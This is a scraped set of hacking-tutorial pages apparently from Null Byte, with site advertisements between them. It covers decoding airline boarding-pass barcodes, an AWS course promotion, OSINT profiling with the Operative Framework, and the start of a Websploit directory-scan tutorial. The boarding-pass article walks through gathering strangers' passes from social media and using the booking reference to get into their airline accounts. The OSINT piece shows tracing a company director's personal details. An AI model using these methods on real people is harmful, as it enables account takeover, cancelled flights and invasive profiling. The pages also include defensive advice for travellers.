The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaUniversity of AucklandRelatedHow To:Linux Basics for the Aspiring Hacker: Managing Hard DrivesNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 20 (Devices Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)Hack Like a Pro:Digital Forensics Using Kali, Part 2 (Acquiring a Hard Drive Image for Analysis)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 9 (Finding Storage Device Artifacts in the Registry)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 24 (The Linux Philosophy)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics)News:What to Expect from Null Byte in 2015Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Goodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Remove a Windows Password with a Linux Live CDGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingHow To:Get Your AMD Graphics, Sound & Other Drivers to Work in Linux on Your LaptopCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingNews:Let Me Introduce MyselfGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingHow To:How Hackers Take Your Encrypted Passwords & Crack ThemCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingNews:Virtualization Using KVM
How Hackers Use Hidden Data on Airline Boarding Passes to Hack Flights Β« Null Byte :: WonderHowTo
Millions of travelers pass through airports each day without understanding how powerful and insecure a boarding pass can be. Anyone can scan the boarding pass barcode with a mobile app, allowing access to frequent-flyer accounts and even a passenger's temporary airline account. In this guide, we will explore how hackers scan and decode the information contained in a boarding pass barcode and why.The average airline boarding pass contains a wealth of information that a hacker could potentially take advantage of in two primary ways. How they take advantage of it mostly depends on whether the target has a frequent-flyer account or not.Airlines have two types of accounts. One is temporary and is created when you buy a ticket that isn't affiliated with an airline miles program, such as when you use Google Flights or Expedia. The other type is a permanent account, which often comes in the form of a frequent-flyer program.Don't Miss:How to Track ADS-B Equipped Aircraft on Your SmartphoneYou might think that just not having a frequent-flyer account could keep you from being compromised, but when you don't, your miles are up for grabs. Hackers can use information gleaned from any boarding passes not connected with a frequent-flyer program to go to the airline's website and claim the victim's miles for themselves. By walking through an airport and photographing boarding passes, an attacker could earn thousands upon thousands of rewards miles, which can be used for free flights and upgrades to a paid flight.Those passengers that do have frequent-flyer accounts could have their accounts compromised. Access to these accounts could give the attacker the ability to view passport information, change passwords, and even cancel future flights.With the temporary account, an attacker could only cancel the fight or legs of the trip that are on the boarding pass that was scanned. With access to the frequent-flyer account, they can cancel other flights that are months away and not associated with the current trip.We'll be looking at how a hacker would acquire a target's boarding information.Step 1: Find a Boarding PassThe first step is finding a boarding pass to scan. Specifically, the hacker needs a clear image of aPDF417barcode on a boarding pass to scan it and capture the information on it. You might think you need to head to an airport to find some boarding passes, but in reality, social media is full of them.Method 1: Use Social MediaHead to Instagram and search#boardingpassto find a plethora of images. When I conducted my search, it yielded approximately 95K results. Obviously, not every single one of those is going to be a scannable boarding pass, and some will contain boarding passes that aren't all that scannable or readable because they are at odd angles or blurry.It's mind-boggling the amount of personal information this represents encoded in boarding passes and how blasΓ© people are about sharing it.Method 2: Use Google ImagesAnother amazing resource is Google image search. Below, you can see the image of a boarding pass that I found during my search where the photographer attempted to obfuscate what they deemed important information. However, they left the barcode revealed, which I blacked out before posting the image below. The rest of the results are low enough resolution as to be unscannable.Using that barcode, I was able to reveal all of the information the photographer had attempted to obscure, plus even more information that isn't on the pass in plain text. This demonstrates people's misunderstanding of how a boarding pass fundamentally works and is the reason I'm writing this article.Out in the real world, a bounty of codes can be found at an airport. Methods for finding them range from techniques that are very suspicious to methods indistinguishable from normal airport behavior.Method 3: Find It in Real LifeThe first and least suspicious tactic would simply be walking around the airport recording video. A high-quality video camera or DSLR β€” or even a modern smartphone β€” can record in HD without standing out. A hacker could walk around the airport recording, capturing people with boarding passes in hand waiting to board or just outside TSA screening. Once done, the hacker could search the video frame by frame for boarding pass QR codes β€” a process that could grow tedious.A hacker could employ social engineering to come up with a reason to take pictures of people's boarding passes. Perhaps they could pretend to be a videographer wanting to make a time-lapse of the flight attendant scanning all the boarding passes or a photographer doing a portrait series of various families and where they're traveling to. Either way, this is naturally more suspicious than the passive video technique, yet could potentially be more useful if the hacker was attempting a targeted attack on the particular individual or wanted a less tedious approach than scanning videos.Don't Miss:How to Write Your Very Own QR Code Generator in C#The most suspicious tactic would be to attempt to come into physical possession of the boarding pass by digging through trash cans or asking people for their old boarding passes after a flight. That's pretty unnecessary, though, since all they need is the image of the barcode, not the actual pass.Step 2: Scan the Boarding Pass BarcodeThere are two ways a hacker can scan a boarding pass. The first is to use a free mobile application on a smartphone, while the second uses a web-based tool to accomplish the same function. While I'll teach you to use both, the web-based interface has more functionality and tends to work better.Method 1: Use a Mobile ApplicationOnce someone has a clear image of your boarding pass barcode, it's a simple matter to scan it. There are a variety of ways to approach this. Of course, if you wanted to get into the nitty-gritty code side of scanning barcodes, a good place to get started would beBarcodeSanneron GitHub. It could be implemented into a program that scans video for these barcodes, such as in the example we discussed above.With physical access to the boarding pass, any number of free QR and barcode scanner apps from theGoogle Play StoreoriOS App Storemake it super simple to scan barcodes. For our example, we usedLightning QRcode Scanner. Open the app, and then give it permission to use your camera. Point the phone at the barcode on the boarding pass to scan the barcode. The app will spit out a long string of formatted text, looking something like the image below.Don't Miss:The 7 Best New Camera Features in iOS 11 for iPhoneMethod 2: Use a Web ToolAdditionally, a web tool such asFree Online Barcode Reader by Inlitecan be used. It would most likely be used if the hacker were doing the internet scavenging technique we first talked about. They would only need to download the image, then re-upload it to the website to see the encoded data.Upon a successful scan, a string of data should appear. At first, this might look like gibberish. What does "M1LEOPOLD/EMR EZQ7o92 GVALHRBA 00723319C002F00009100" even mean? In the next step, we will look at how precisely this can be decoded to glean valuable information.Because the Inlite tool is the only one that I know every reader will have access to, let's quickly cover how to use it. Begin by selecting the barcode type. That is most likely going to be PDF417 in the case of a physical boarding pass or QR code if it's from a smartphone.The web tool allows you to select multiple types simultaneously. After that, click "Choose File" and select the image. Make sure it's in one of the acceptable formats. Most cameras use JPEG, so they should be fine for this. Lastly, click "Read" to attempt to read the selected barcode.Below is what a successful read looks like. This tool is quite good and has worked on some images that other apps struggled with.Step 3: Decode the Boarding PassThe International Air Transport Association (IATA) is the international body that creates guidelines and standardization for the airline industry. Naturally, they're the ones that created the current boarding pass standardization (Bar Coded Boarding Pass Implementation Guide) that hackers can take advantage of.The guide below denotes what each character in the string of data contained within the barcode means. There is quite a lot of information that can potentially be stored in the 30 fields. However, the most interesting to us is the first block, the mandatory items, as this contains all of the identifying information such as passenger name and flight information.If you look closely at the mandatory items, you'll notice that there's no integrity check on the data required. That means there is no way to check if the information has been changed since it was printed. As if that wasn't bad enough, the authentication for the boarding pass is not listed as a mandatory item, which means this is commonly not used and also represents a gaping security flaw. In practical terms, this means an attacker could essentially insert false information into the data string, generate a new barcode, and still have a valid boarding pass. We'll look at this in greater detail in a future article.Now, let's take an example of a British Airways flight and see what information we can parse from it. Let's use that string of gibberish from before.M1LEOPOLD/EMR EZQ7o92 GVALHRBALooking at the chart above, we can see the field size allocated for each element. The first two are a single character each, which tells us that the form code is "M" and the flight is "1" leg. After that, there is room for a last and first name 19 characters in length. It would be 20, but one is used for a backslash separating the first and last name. If the first and last name exceeds 19 characters in length, it's truncated to save space.Here you can see the name is Emr Leopold. Following that is "EZQ7092", which is the passenger name record (PNR) code, also referred to as the booking reference. This is one of the most valuable pieces of information on the boarding pass.Don't Miss:How To Hack Any Account That Has Recovery via Phone Option Enabled (SMS) On AndroidThis PNR code is a temporary password used often in conjunction with the passenger's last name, but this can vary from airline to airline. Because of way code-sharing agreements between airlines work, this PNR code can be used to gain access to a target's frequent-flyer account, which we will look at in the next step.After the PNR code is the departing and arriving airport, followed by the air carrier. In this example, we have "GVALHRBA" which would translate as Geneva (GVA) to London Heathrow (LHR) via British Airways (BA). Each of these codes is easy to search for on Google if you don't already know them. A fulllist of all the airport codesis also publically available.In a real-world boarding pass, there would be substantially more information for us to read. As you can imagine, it would become very tedious to parse it all by hand, which is why a hacker would likely make a simple Python script to do so, such as theIATA-Parseron GitHub.Step 4: Gain Access to a Target's AccountThe last step for a hacker is to input the data on an airlines website to log into the user's account. The precise steps vary from airline to airline, but the general technique is the same.For example, looking at the pass we just decoded, the hacker would go to theBritish Airways website. There they would navigate to "Manage My Booking" and input the PNR "EZQ7092" as the booking reference and "Leopold" for the name. Then they would have access to the temporary account with all the same power to make changes as the legitimate owner.How to Defend Your Boarding Pass DataThere are a number of simple steps you can take to protect your boarding pass and the information it contains. The first thing you can do, if you are fairly confident in the security of your smartphone, is check in online and use your smartphone as your boarding pass. This prevents anyone from seeing the physical boarding pass, as you don't have one, although you will still need to protect the scannable code.If you do need to carry around a physical boarding pass, be sure to keep it tucked away when not in use. Additionally, fold it with the back facing out so that the barcode can't be readily seen. Lastly, don't ever throw your boarding passes in the trash. They should be safely disposed of by shredding.It goes almost without saying, never post photos of your boarding passes online and most definitely don't tag them as such. This is particularly true before a flight, as an attacker could cancel your flight without you knowing.Don't Miss:Airline Offers Frequent Flyer Miles to HackersMost of the information a boarding pass contains within the barcode is harmless when taken by itself. However, when one takes into account that this information can be used to gain access to airline accounts, it becomes much more dangerous. While it's unlikely that a random hacker would go around canceling your future flights, it's never a good idea to leave your boarding pass security up to the goodwill of hackers.A more likely threat is a hacker going around claiming unclaimed miles, so remember to sign up for your frequent-flyer programs to prevent this. While doing so, be careful what information you give out, just in case your account is compromised.If you found this interesting, Przemek Jaroszewski reviewed some new tools that make hacking boarding passes easier than ever at Defcon 24 in August of 2016. You can check out the Defcon talk below if you have an hour free to watch. I highly recommend it. He discusses how the boarding pass information is created, encoded, and validated, then explains how easy it is to craft your own boarding pass.Thanks for reading! If you have any questions, you can ask me here or on Twitter@The_Hoid.Follow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image bymroach/Flickr; Screenshots by Hoid/Null ByteRelatedNews:You Better Be Camera Ready to Board Your Next JetBlue FlightNews:Airlines' Reliance on Group Boarding Could Spread PandemicsNews:Budget Airline easyJet Packs Augmented Reality Luggage Checking Feature into Its Mobile AppNews:Unencrypted Air Traffic Communications Allow Hackers to Track & Possibly Redirect FlightsNews:Airline Offers Frequent Flyer Miles to HackersNews:Travel the World for a Price You Can Afford with WanderNews:HoloLens Demo Lets Airline Staff View Passenger Emotional State & Flight DetailsNews:Fly Lufthansa? Snapchat Will Introduce You to Your Flight CrewNews:Augmented Reality & VR Take Flight in New Airbus iPhone AppHow To:The Fastest Way to Get Detailed Flight Info on Your iPhone & MacHow To:What We Thought We Knew About Saving Money on Airfare Was WrongHow To:Find the Cheapest Last-Minute Flights Home for the HolidaysNews:HoloLens Can Help Travelers Fly the Laptop-Unfriendly SkiesHow To:DealΒ with a flight cancellationHow To:Hack TOR Hidden ServicesHow To:Create Malicious QR Codes to Hack Phones & Other ScannersNews:HoloFlight Turns Flight Data into Cool Mixed Reality VisualizationsHow To:Fly stand-byHow To:The Hardware Hacker's Introduction to Microcontrollers, Part One: Anatomy of an ArduinoHow To:Pick a great airline seatNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Make Bad Airplane Booze Taste Better (& Save Money, Too)News:Can Google Flights Really Get You the Best Price Possible?News:Airline Pet PoliciesNews:Nail-Polish is bad.News:Flying with SurfboardsHow To:9 Tips for Booking Cheap Airline TicketsNews:Alec Baldwin Kicked Off Plane for Playing Words with FriendsNews:Winner WinnerNews:Alexander McQueen Tribute CupcakeNews:Mentally Disturbed Woman Claims Implant Bomb as TSA Orders New Grope DirectiveNews:Department of State - Pets and International TravelHow To:Board a Southwest airplaneHow To:Keep Stroke Patients Active at Home w/ Wii FitHow To:Conceal a USB Flash Drive in Everyday ItemsHow To:Hack Frequent Flyer ProgramsWTFoto of the Day:What If Airline Safety Cards Were More Accurate?News:hidden tin foil technique passed down through generationsScrabble Challenge #11:Would You Pass Up the Opening Move?News:Indie and Mainstream Online Games Shut Down by LulzSec
Learn the Ins & Outs, Infrastructure & Vulnerabilities of Amazon's AWS Cloud Computing Platform Β« Null Byte :: WonderHowTo
While we haven't covered Amazon Web Services, or AWS, on Null Byte before, Amazon's cloud computing platform is ripe for attack by hackers, pentesters, and cybersecurity researchers. It's also an excellent cloud hosting service to build or usevulnerable-by-design AWS setups and frameworks.AWS buckets are aparticularly vulnerableattribute to Amazon's cloud service, which store files and allow employees and other users to share them. Internet-facing services also use these buckets to store sensitive information, such as server backups or backend scripts. These buckets can be private or public, but the former is the one targeted by hackers.For instance,an ex-Amazon employeewho took advantage of a firewall misconfiguration stole credit card applicants' details from the company's AWS buckets, as well as other sensitive material from 30 other companies and systems. In a different type of attack,a hacking groupwas able to set up a rootkit that let them control servers and siphon sensitive data from corporations.And as with all hosting platforms,there are other waysto hack accounts and services or set up penetration tests that you're legally allowed to perform, and many attack vectors center aroundAWS misconfigurations.While we may not cover AWS vulnerabilities much on Null Byte, learning the ins and outs of the platform is still a critical skill for cloud computing attacks and cybersecurity defense. If that sounds like something you would enjoy, check out the courses in theAWS Certification Training Master Class Bundle.Become an in-Demand AWS Cloud Computing ProfessionalIt's not an exaggeration to say that the invention and proliferation of cloud computing technology has been one of the most important innovations of the past two decades. As the basic platform through which an endless number of computing services are delivered to companies and clients every day, cloud computing is behind virtually every major technological innovation taking place right now. Its prominence within the interconnected worlds of ethical hacking and penetration testing is, therefore, growing more pronounced by the day.This expanding technology is also responsible for the fast-paced movement of everything from servers and storage networks to massive databases and software platforms, and every bit of data that passes through these hidden networks can be transferred to a limitless number of devices via a simple WiFi connection β€” making it uniquely vulnerable to cyberattacks and data breaches.Companies ranging from small startups to massive Fortune 500 conglomerates all rely on cloud computing platforms to cut costs, expand their scale, increase their performance and speed, bolster networks, and increase productivity across the board. Their reliance on cloud computing infrastructures isonly going to growas the world becomes more interconnected.So it should come as no surprise that as one of the world's most comprehensive and broadly adopted cloud platforms, Amazon Web Services (AWS) can be found at the heart of countless industries that utilize its multiple services to become faster and more agile. If you want to learn how to test and protect this ubiquitous cloud platform (and subsequently the companies and agencies that rely on it every day), you're going to need to know how it works.AWS: King of the CloudBoasting the largest community of active users across the globe, AWS offers the most functionality and scalability of any cloud service, along with unparalleled security parameters that inspire confidence and protect against cyber attacks.AWS also stands at the forefront of the latest and greatest developments taking place in everything from gaming and online entertainment to data analytics,Blockchain development, customer engagement, database management,machine learning, and more.The virtually unrivaled presence of AWS within the cloud computing industry also means that from the perspective of a cybersecurity expert, you'd be hard-pressed to find a more promising and exciting environment in which to work. Tech-savvy AWS experts with hacking experience who can build and maintain a wide variety of systems within this award-winning platform are in high demand throughout the world.If you're interested in growing your ethical hacking knowledge base while taking advantage of the world's increasing reliance on AWS, it's possible to become an in-demand AWS cloud expert and launch a six-figure career without investing tons of money.Getting CertifiedTheAWS Certification Training Master Class Bundleis your one-stop resource for earning the certifications you'll need to land a wide variety of AWS-related cybersecurity positions in multiple industries, and the entire nine-course training bundle is currently available on sale for just $59.Contrary to popular belief, you don't have to invest thousands of dollars and just as many hours in a traditional tech degree to get the skills and credentials you need to land the best positions in the ever-expanding world of cloud computing and systems security.With an extensive introduction to the basic terminology and underlying principles of both cloud computing in general and the more specific elements that makeAWS stand out from its competitors, this bundle will teach you how to implement every component of the AWS infrastructure in multiple environments β€” through instruction that's both easy to follow and engaging for users with varying levels of experience in tech and penetration testing.What You'll LearnIn the AWS Database Migration Service Course, you'll learn how to quickly and securely move databases between users and companies onto the cloud β€” saving clients countless hours while safeguarding their information using the latest encryption techniques and tools.Next, in the Amazon VPC Training Course, you'll learn how to work within theAmazon Virtual Private Cloud(VPC) environment, which allows for the creation of custom cloud-based networks that can be hand-tailored to fit the specific needs of different companies.There's also training that teaches you how to work with several third-party platforms and apps within the AWS framework, how to host multiple domain names within single servers, how to securely collect and analyze massive data sets that are used by companies to gain valuable insights into their client base, and much more.Throughout your training, you'll also be preparing to ace the exams for three of the most essential and valuable AWS certifications in the world β€” including the AWS Technical Essentials Certification, the AWS SysOps Associate Certification, and the AWS Solution Architect Certification β€” through training that focuses on real-world scenarios and data-management techniques.Regardless of whether you're interested in furthering a career that's already based around tech and data management by adding three in-demand credentials to your resume, or you're toying with the idea of switching gears altogether and moving into an increasingly lucrative field that offers unparalleled opportunities for growth, having an in-depth understanding of AWS is going to help you reach your goals.Usually priced at nearly $1,500, this nine-course AWS Certification Training Master Class Bundle will help you land a career in the cloud by helping you earn the knowledge and credentials you need to succeed, and it's currently available forjust $59β€” 95% off its usual price.The Deal:AWS Certification Training Master Class Bundle for $59Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image bySebastien Decoret/123RFRelatedHow To:This Is the Ultimate Course Bundle if You're Looking to Work in the CloudHow To:Master AWS with This Extensive $30 Training BundleHow To:Learn Everything You Need to Know About AWS for Under $30News:Amazon Launches Sumerian, Drag-and-Drop Tool for Quickly Creating & Deploying AR/VR ContentHow To:Easily Become an AWS Certified Cloud Practitioner with This All-in-One BundleNews:Amazon Offering More Than $100K in Prizes for Augmented Reality & VR Apps Built with SumerianNews:Amazon Sumerian Now Available to Anyone Who Wants to Create AR & VR AppsNews:Magic Leap's Acquisition of Computes Strengthens Mesh Computing Capabilities by Crowdsourcing Processing PowerHow To:Master the Google Cloud Platform for Under $30News:Apple Worries They're Being Bugged; Now They're Doing Something About ItHow To:Check spelling and grammar in MS Word 2010How To:Go from Total Beginner to Cloud Computing Certified with This Top-Rated Bundle of Courses, Now 98% OffHow To:Monitor memory use in Mac OS X with Activity MonitorNews:Niantic Reveals Augmented Reality Platform for Multiplayer Gaming & Interaction with Real World ObjectsNews:Hack the Switch? Nintendo's Ready to Reward You Up to $20,000How To:Use variables and strings when programming in Python 2How To:Use jQuery to improve your website and businessHow To:Style a scarf ascot knotHow To:Style a scarf cowl knotHow To:Tie a scarf hacking knotAR Dev 101:Create Cross-Platform AR Experiences with Unity & Azure Cloud, Part 1 (Downloading the Tools)News:Mobileye Calling the Shots from Israel After Intel AcquisitionMarket Reality:Lyft Acquires Blue Vision, Google & Samsung Invest in AR, & Epic Games Scores Massive Funding RoundHow To:Get started using a Verizon Droid 2 Google Android smartphoneHow To:Play piano chord inversions with easeHow To:Gain strategy in your chess gameHow To:Create a ship in a bottleNews:Torch App Teams with 6D.Ai to Add Occlusion & Persistence to AR CreationsHow To:Add Fade-Ins, Fade-Outs & Fade-Through Transitions to iMovie Projects on Your iPhoneHow To:Do basic cloud computingHow To:Learn the Essential Skills to Start a Career in IT with This Affordable Online TrainingNews:6D.Ai Launches AR Cloud & Supplies 3D Maps to Nreal Light & Qualcomm Snapdragon DevicesNews:Google Backs Mojo Vision's 'Invisible Computing' Augmented Reality Platform in $58 Million Funding RoundNews:Magic Leap Teases Cross-Platform Augmented Reality Experiences with iOS Developer Job PostingNews:AR Cloud Startup 6D.Ai Plans to Use Smartphone Cameras to Create Accurate 3D Maps, Facilitate Multiplayer AR GamesHow To:Select a great, flawless single malt scotchHow To:Draw anime fight scenesHow To:Install network cablesNews:Day 2 Of Our New WorldWorld’s Total CPU Power:One Human Brain
Recon: How to Research a Person or Organization Using the Operative Framework Β« Null Byte :: WonderHowTo
TheOperative Frameworkis a powerful Python-based open-source intelligence (OSINT) tool that can be used to find domains registered by the same email address, as well as many other investigative functions. This reconnaissance tool provides insight about your target through examining relationships in the domains they own.Today, I'll show you how to run a web domain through both a WHOIS query and through an email-to-domain query. This will let us build a profile on a target, and ultimately, link the results to entries in primary-source data (like business filings and government databases) that contain a wealth of information.The internet is a rich source of data about people, organizations, and the various records and registrations they leave behind through their journey on the web. The Operative Framework tags, collects, and correlates this information. Taken together, it becomes simple to create a complete picture of a person or business from within a familiar framework interface.An OSINT investigation shown querying the domains associated with a given email address to correlate more information.Image by SADMIN/Null ByteLightweight OSINT Scripts for Specific TasksThe amount of information that can be accessed with a few keystrokes often surprises people who submitted the information into the public domain in the first place, without knowing how easy it would be to find. Tools liketheHarvestercan turn up the personal and work email addresses of a target, which can be run through the Operative Framework to fingerprint and expand our knowledge of a person by mining the data for relationships.More OSINT Recon:How to Use Maltego to Do Network ReconnaissanceTools likeMaltegoare robust frameworks to conduct investigations, but lighter OSINT modules and scripts exist to accomplish more specific OSINT investigations.A favorite of mine is the Operative Framework (obviously), which provides a uniquely well-equipped suite to conduct reconnaissance on individuals or organizations from online databases. The Operative Framework allows you to conduct reverse WHOIS queries to email addresses and other information to correlate information. This creates a detailed overall picture by stitching together many details about a person or business from WHOIS and social directories.The Operative Framework for Domain ReconnaissanceThis tutorial will focus on installing the Operative Framework and running the email-to-domain tool to use found emails and discover other domains owned by an individual. While many people register their domains privately, domain registrars can leak the information anyway. Using research or scraping tools, or even just a person's business card, we will discover if they own any domains related to that email account.This tool is most useful to run against businesses, business owners, and anyone likely to own online domains. It is possible to determine what kind of business a person is in, what assets they own, and other information by examining the web domains they have purchased to support such projects.Step 1: Installing the Operative FrameworkWe will need Python to use the Operative Framework, but the benefit is that this allows the tool to run on macOS (aka Mac OS X), Windows, or Kali Linux. You can set it up by cloning the Git directory by typing the following into terminal.git clonehttps://github.com/graniet/operative-framework.gitcd operative-frameworkpip install -r requirements.txtpython operative.pyIf you don't havepip, you can get it by running the following and installing via thepython setup.py.git clonehttps://github.com/pypa/pip.gitStep 2: Running an Email to Find Associated DomainsThe Operative Framework is more similar toMetasploitthan it to theHarvester. You can run modules which require you to set variables to then execute the module. You can examine the list of modules by typingmodules.Modules in the Operative Framework.To select a module, you'll typeuse (the path of the module to use).In this case, we will be running an email-to-domain search. First, let's generate a sample to run through our list. We will run a domain through the WHOIS module to pull an email address and see if the registrar owns any other domains. To load the WHOIS module, type this into the terminal:use core/modules/whois_domainOnce we are in a module, we can see the available options by typing the following.show_optionsIt is fussy about the underscore, and doesn't understand any other way of asking about options. In this case, we're trying to learn some info about technology, so let's use the random exampletechnology.info.Here we see that "website" is the only unset option. Let's set this as the example with the following.set website=technology.infoBam! We get an email address for us to feed into the reverse domain tool. TypeControl Cto go back to the main menu, and then load the email to domain module by entering the text below.use core/modules/email_to_domainshow_optionsWe will set our sample email the same way we set the website in the last module. Run the following.set email=rights.domainmanager@futurenet.comRunshow_optionsto confirm the variable is set and then typerunto begin the search. Here, we can see the results of the module. If the target does not own any domains, you can expect to see no results.In this case, our results suggest a publishing business.Step 3: Building a Profile from the ResultsIn our example, our search brings us back to an umbrella of domains owned by a single entity. When the website for the active entity on the domain is visited, it seems the business is a domain management portfolio specializing in technology-related domains.This is the point at which we can make some decisions about where further information can be found to definitively correlate a person behind an email or domain. The Operative Framework contains a fingerprinting framework database to help collect and organize details about a target, which I will teach in future tutorials.To expand our search, we should combine our domain pull with a query to a city, state, or local government agency database to provide primary source information.Step 4: Cross-Referencing Results for a FixIn our example domain, I narrowed the search to target the director of the business. Via the main domain, I see they have a California subsidiary, which means it's worth running a check with the California Secretary of State database.No luck there for corporations or LLCs, butthe UK equivalentfor their home office has a bounty of information including corporate filings and other information about the current staff and directors. In those documents, I was able to find the executive director's personal details including date of birth and individual email address for contacting.An email led to an umbrella company owning the domain, which led us to corporate filings.OSINT Is an Investigation, the Question MattersThe Operative Framework is a tool to help you pull clues together to fill in pieces of an investigation. By running queries on who owns a domain, and an email-to-domain query to assess what other domains they own, you can quickly assess a target.A target business's operations, locations, and other information is easy to infer from this data. Here, we were able to go from a randomly selected domain to the ability to contact the director of the company who owns it through a series of database pulls.An important note about OSINT tools β€” you must have a goal with your investigation, and the question you are answering must make sense. If it doesn't, your answer will not make sense either.You can ask me questions here or @sadmin2001 onTwitterorInstagram.Don't Miss:How to Scrape Target Email Addresses with TheHarvesterFollow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by SADMIN/Null ByteRelatedHow To:Conduct Recon on a Web Target with Python ToolsHow To:Use Maltego to Fingerprint an Entire Network Using Only a Domain NameHack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)News:Disney Research Creates Avatars That Can Strike a Pose to Match a Person's Movements in Augmented RealityHow to Hack Like a Pro:Getting Started with MetasploitVideo:How to Use Maltego to Research & Mine Data Like an AnalystHow To:Track Down a Tinder Profile with Location Spoofing on Google ChromeHow To:Beat Ghost Recon Advanced Warrior 2How To:Scrape Target Email Addresses with TheHarvesterHow To:Identify Web Application Firewalls with Wafw00f & NmapHow To:Top 10 Exploit Databases for Finding VulnerabilitiesHow To:Probe Websites for Vulnerabilities More Easily with the TIDoS FrameworkHow To:Conduct OSINT Recon on a Target Domain with Raccoon ScannerHow To:Tips for Tackling Your Dream ProjectHow To:Play the Recon sniper character class in Battlefield Bad Company 2: VietnamHow To:Use a DVR unit for trans-communicationHack Like a Pro:How to Use Maltego to Do Network ReconnaissanceHow To:Use Photon Scanner to Scrape Web OSINT DataHow To:Use dowsing rods for paranormal researchNews:Researchers Discover Key Proteins Malaria Uses to Infect the Liverβ€”A Key Step in Stopping the ParasiteNews:Healthinnovations researching Google + for healthNews:Economic Reform in the CommunityNews:Why we shouldn't rush the job searchHow To:Keep Stroke Patients Active at Home w/ Wii FitHow To:Don't Know How YOU Can Help? We Do!News:Capturing insights of introvertsNews:Super Mega Slip N' Slide!Omegaville research (aka:mgabrys' underground challenge submission)News:Street Poets Inc. (nonprofit organization)News:Urban Environmental OrganizationsNews:Uganda's Reaction to Kony 2012News:Print 3D Models of Your Minecraft Creations with MinewaysNews:YouthSportTravel.com
How to Use Websploit to Scan Websites for Hidden Directories Β« Null Byte :: WonderHowTo
Websites are often misconfigured in ways that allow an attacker to view directories that are not ordinarily meant to be seen. These directories can contain sensitive information such as private credentials or configuration files that can be used to devise an attack against the server. With a tool called Websploit, hackers can scan targets for these hidden directories without difficulty.Websploitis an open-source framework used for testing web apps and networks. It is written inPythonand uses modules to perform various activities such asdirectory scanning,man-in-the-middles, andwireless attacks. In this tutorial, we will explore the directory scanner module and use it to find interesting directories on the target.Don't Miss:Perform Directory Traversal & Extract Sensitive InformationIf you want to follow along with me, I'm usingKali Linuxas the attacking machine andMetasploitable 2, an intentionally vulnerable virtual machine, as the target. Real-world scenarios will be very similar.Step 1: Install WebsploitWe need to download and install the latest version of Websploit before we can begin. Luckily, it's in the Kali repositories, so we can install it just like we would with any other package usingapt-getinstallin theterminal.apt-get install websploitReading package lists... Done Building dependency tree Reading state information... Done The following NEW packages will be installed: websploit 0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded. Need to get 1,071 kB of archives. After this operation, 3,054 kB of additional disk space will be used. Get:1 http://kali.download/kali kali-rolling/main amd64 websploit all 3.0.0-2 [1,071 kB] Fetched 1,071 kB in 1s (1,316 kB/s) Selecting previously unselected package websploit. (Reading database ... 383431 files and directories currently installed.) Preparing to unpack .../websploit_3.0.0-2_all.deb ... Unpacking websploit (3.0.0-2) ... Setting up websploit 